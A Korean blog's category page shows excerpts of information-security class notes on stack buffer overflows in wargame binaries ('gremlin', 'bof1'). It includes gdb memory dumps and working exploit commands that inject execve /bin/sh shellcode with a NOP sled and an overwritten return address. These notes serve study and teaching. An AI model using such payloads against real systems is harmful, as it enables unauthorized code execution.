본문 바로가기

정보보안64

정보보안3 6차시 쉘코드 모음 : https://pwnable-study.tistory.com/44 첫 번째 문제인 gremlin256바이트 배열 변수 사용본래 gremlin 파일은 권한때문에 gdb로 실행불가이 때 cp로 파일을 복사하여 복사한 파일로 gdb를 실행함 (gdb) r $(python -c 'print "\x41"*210 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*26 + "AAAA"') => gdb를 실행할 때 python으로 문자열을 반복하여 넣는다 \x41은 A\x90은 NOP 코드를 의미한다 변수 크기가 256바이트이므로A 210개, 쉘코드 24바이.. 2024. 6. 16.
정보보안3 5차시 파이썬 (인터렉티브 쉘 = 대화형 쉘 = 명령어를 입력하면 시스템이 그 결과를 즉시 반환하는 환경)(python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1 print("A"*16 + "\xf0\x84\x04\x08")=> A를 16개 출력하고, 목표 주소를 출력 (주소는 리틀엔디안 방식 때문에 거꾸로 뒤집어서 배열) # python3 --help usage: python3 [option] ... [-c cmd | -m mod | file | -] [arg] ... Options (and corresponding environment variables): ...-c cmd : program passed in as string (terminates op.. 2024. 6. 15.
버퍼오버플로우 복습 지난 시간 수업 복습 버퍼 오버 플로우 테스트 소스코드 내용 : c언어로 char 변수를 선언한 후, 사용자 입력을 받아 출력하는 프로그램 실행 변수 크기보다 더 큰 입력값을 검증없이 출력할 경우 비정상 동작 ( esp는 634이고 ebp는 648 ) a를 16개 입력했을 때 메모리 조사 결과 (gdb) x/12xw $esp 0xffffd634:     0x080485d1      0xffffd63c      0x61616161      0x61616161 0xffffd644:     0x61616161      0x61616161      0xf7e21200      0x00000001                                                                  .. 2024. 6. 11.
정보보안3 4차시 disp $ebp disp $esp disp /i $eip disp /4xw $esp- int main(int argc, char *argv[]) => argc : 메인함수의 첫 번째 인수 => *argv[] : 인수의 값들 (포인터 배열)*argv[] = **argv 예시)int a의 값 = 3 a의 주소값 = 0x1234 int *p1 = &a 일 때 p1의 값 = 0x1234 p1의 주소값 = 0x5678 int **p2 = &p1 일 때 p2의 값 = 0x5678 p2의 주소값 = 0x0910( 주소값 printf 할 때는 %p ) 이 때p2 = 0x5678            *p2 = 0x1234           &p2 = 0x0910           (gdb) disas main Dump.. 2024. 6. 9.